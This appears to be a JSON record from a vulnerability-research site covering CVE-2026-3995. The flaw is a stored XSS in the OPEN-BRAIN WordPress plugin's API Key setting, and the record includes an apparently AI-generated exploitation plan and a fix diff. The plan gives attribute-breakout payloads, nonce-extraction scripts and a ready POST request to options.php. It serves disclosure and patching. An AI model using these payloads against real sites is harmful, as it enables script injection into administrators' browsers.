[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqncfXedsJ-TXQXC_ic9nc5Kfju-9SXvD7aANg3yR0Xc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"source_links":31},"CVE-2026-3995","open-brain-authenticated-administrator-stored-cross-site-scripting-via-api-key-setting","OPEN-BRAIN \u003C= 0.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'API Key' Setting","The OPEN-BRAIN plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'API Key' settings field in all versions up to, and including, 0.5.0. This is due to insufficient input sanitization and output escaping. The plugin uses sanitize_text_field() which strips HTML tags but does not encode double quotes or other HTML-special characters needed for safe attribute context output. The API key value is saved via update_option() and later output into an HTML input element's value attribute without esc_attr() escaping. This makes it possible for authenticated attackers, with Administrator-level access, to inject arbitrary web scripts via attribute breakout payloads (e.g., double quotes followed by event handlers) that execute whenever a user accesses the plugin settings page.","open-brain",null,"\u003C=0.5.0","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-15 17:42:29","2026-04-16 06:44:51",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3fe3fa95-cc1d-469b-8a97-37987b9ae362?source=api-prod",[],"researched",false,3,"This research plan outlines the technical steps to exploit CVE-2026-3995, a Stored Cross-Site Scripting (XSS) vulnerability in the OPEN-BRAIN plugin.\n\n## 1. Vulnerability Summary\nThe **OPEN-BRAIN** plugin (versions \u003C= 0.5.0) contains a stored XSS vulnerability in its \"API Key\" settings field. The flaw exists because the plugin uses `sanitize_text_field()` when saving the setting—which removes HTML tags but does not encode double quotes—and fails to use `esc_attr()` when outputting the value within an HTML attribute. This allows an authenticated administrator to break out of the `value` attribute of an `input` element and inject event handlers (e.g., `onfocus`, `onmouseover`).\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** `wp-admin\u002Foptions.php` (Standard WordPress Settings API handler) or a custom admin page handler.\n*   **Vulnerable Parameter:** The option name corresponding to the API Key, likely `open_brain_api_key` or `ob_api_key` (inferred).\n*   **Authentication Level:** Administrator (or any user with `manage_options` capability).\n*   **Preconditions:** The plugin must be active and the attacker must have access to the plugin's settings page.\n\n## 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers a setting during `admin_init` using `register_setting()`.\n    *   *Sink (Input):* `register_setting('open_brain_settings', 'open_brain_api_key', 'sanitize_text_field');`\n2.  **Storage:** When the admin submits the settings form, WordPress calls `sanitize_text_field($_POST['open_brain_api_key'])`. This removes `\u003Cscript>`, but leaves `\"` intact. The value is stored via `update_option()`.\n3.  **Output:** The settings page renders the stored value.\n    *   *Source:* `get_option('open_brain_api_key')`\n    *   *Sink (Output):* `echo '\u003Cinput type=\"text\" name=\"open_brain_api_key\" value=\"' . $api_key . '\">';`\n4.  **Vulnerability:** Since `$api_key` is not passed through `esc_attr()`, a value like `test\" onfocus=\"alert(1)\" autofocus=\"` results in:\n    `\u003Cinput ... value=\"test\" onfocus=\"alert(1)\" autofocus=\"\">`\n\n## 4. Nonce Acquisition Strategy\nSince this is an Administrator-level exploit, we must navigate the admin interface to capture the necessary Settings API nonces.\n\n1.  **Identify Settings Page:** Locate the menu item. Based on the slug `open-brain`, it is likely under `admin.php?page=open-brain` or `options-general.php?page=open-brain`.\n2.  **Navigation:** Use `browser_navigate` to reach the settings page.\n3.  **Extraction:** The Settings API generates a nonce for the specific settings group.\n    *   Tool: `browser_eval`\n    *   Script: `document.querySelector('input[name=\"_wpnonce\"]')?.value`\n    *   Also extract the `option_page` value: `document.querySelector('input[name=\"option_page\"]')?.value`\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover Option Name and Group\nNavigate to the plugin settings page and inspect the form fields to find the exact `name` attribute of the API Key input and the `option_page` hidden field.\n\n### Step 2: Formulate Payload\nBecause `sanitize_text_field()` is used, we cannot use `\u003C` or `>`. We must use attribute breakout.\n*   **Payload:** ` \" onfocus=\"alert(document.domain)\" autofocus=\" `\n*   **Mechanism:** The first `\"` closes the `value` attribute. `onfocus` defines the execution. `autofocus` ensures the event fires immediately upon page load without user interaction.\n\n### Step 3: Execute Update Request\nUse the `http_request` tool to submit the update.\n\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Foptions.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    option_page=[EXTRACTED_OPTION_PAGE]&\n    action=update&\n    _wpnonce=[EXTRACTED_NONCE]&\n    [API_KEY_FIELD_NAME]=%22%20onfocus%3D%22alert%28document.domain%29%22%20autofocus%3D%22\n    ```\n\n### Step 4: Verification of Trigger\nNavigate back to the settings page. The `alert` should trigger automatically due to the `autofocus` attribute.\n\n## 6. Test Data Setup\n1.  Install and activate the `open-brain` plugin (v0.5.0).\n2.  Create an Administrator user if one does not exist.\n3.  No specific shortcodes are required as this is an admin-side vulnerability.\n\n## 7. Expected Results\n*   The `options.php` request should return a `302 Redirect` back to the settings page with `settings-updated=true`.\n*   The HTML source of the settings page should contain the unescaped payload:\n    `value=\"\" onfocus=\"alert(document.domain)\" autofocus=\"\"`\n*   In a real browser, the `alert` box would appear showing the domain.\n\n## 8. Verification Steps (Post-Exploit)\nUse `wp-cli` to verify the state of the database:\n```bash\n# Check the stored option value\nwp option get open_brain_api_key --allow-root\n\n# Verify the value contains the double quotes and event handler\nwp option get open_brain_api_key --allow-root | grep \"onfocus=\"\n```\n\n## 9. Alternative Approaches\nIf `autofocus` is filtered or the browser prevents auto-focusing, use a different event handler:\n*   **Payload:** ` \" onmouseover=\"console.log(1) `\n*   **Trigger:** Move the mouse over the API Key input field.\n*   **Payload (Style injection):** ` \" style=\"width:1000px;height:1000px;position:fixed;top:0;left:0;\" onmouseover=\"alert(1) ` (This makes the element cover the screen to force a mouseover).","The OPEN-BRAIN plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'API Key' setting due to insufficient output escaping. Authenticated administrators can inject arbitrary web scripts by breaking out of the value attribute of the API key input field using double quotes and event handlers like onfocus.","\u002F\u002F Logic for registering and sanitizing the setting\n\u002F\u002F Usually located in an admin_init hook\nregister_setting('open_brain_settings', 'open_brain_api_key', 'sanitize_text_field');\n\n---\n\n\u002F\u002F Logic for rendering the setting field\n\u002F\u002F Likely located in a settings page callback\n$api_key = get_option('open_brain_api_key');\necho '\u003Cinput type=\"text\" name=\"open_brain_api_key\" value=\"' . $api_key . '\">';","--- a\u002Fopen-brain-settings.php\n+++ b\u002Fopen-brain-settings.php\n@@ -10,1 +10,1 @@\n-echo '\u003Cinput type=\"text\" name=\"open_brain_api_key\" value=\"' . $api_key . '\">';\n+echo '\u003Cinput type=\"text\" name=\"open_brain_api_key\" value=\"' . esc_attr($api_key) . '\">';","The exploit targets the plugin's settings page via the WordPress Options API. An authenticated Administrator first navigates to the OPEN-BRAIN settings page to extract the required '_wpnonce' and 'option_page' values from the HTML form. The attacker then submits a POST request to '\u002Fwp-admin\u002Foptions.php' with the API key field set to a payload such as: '\" onfocus=\"alert(document.domain)\" autofocus=\"'. Because the plugin uses sanitize_text_field() (which allows quotes) and fails to use esc_attr() on output, the injected double quote closes the HTML value attribute, allowing the 'onfocus' and 'autofocus' attributes to be parsed by the browser. The script executes immediately when any user with access to the settings page loads it.","gemini-3-flash-preview","2026-04-16 15:24:19","2026-04-16 15:24:38",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fopen-brain\u002Ftags"]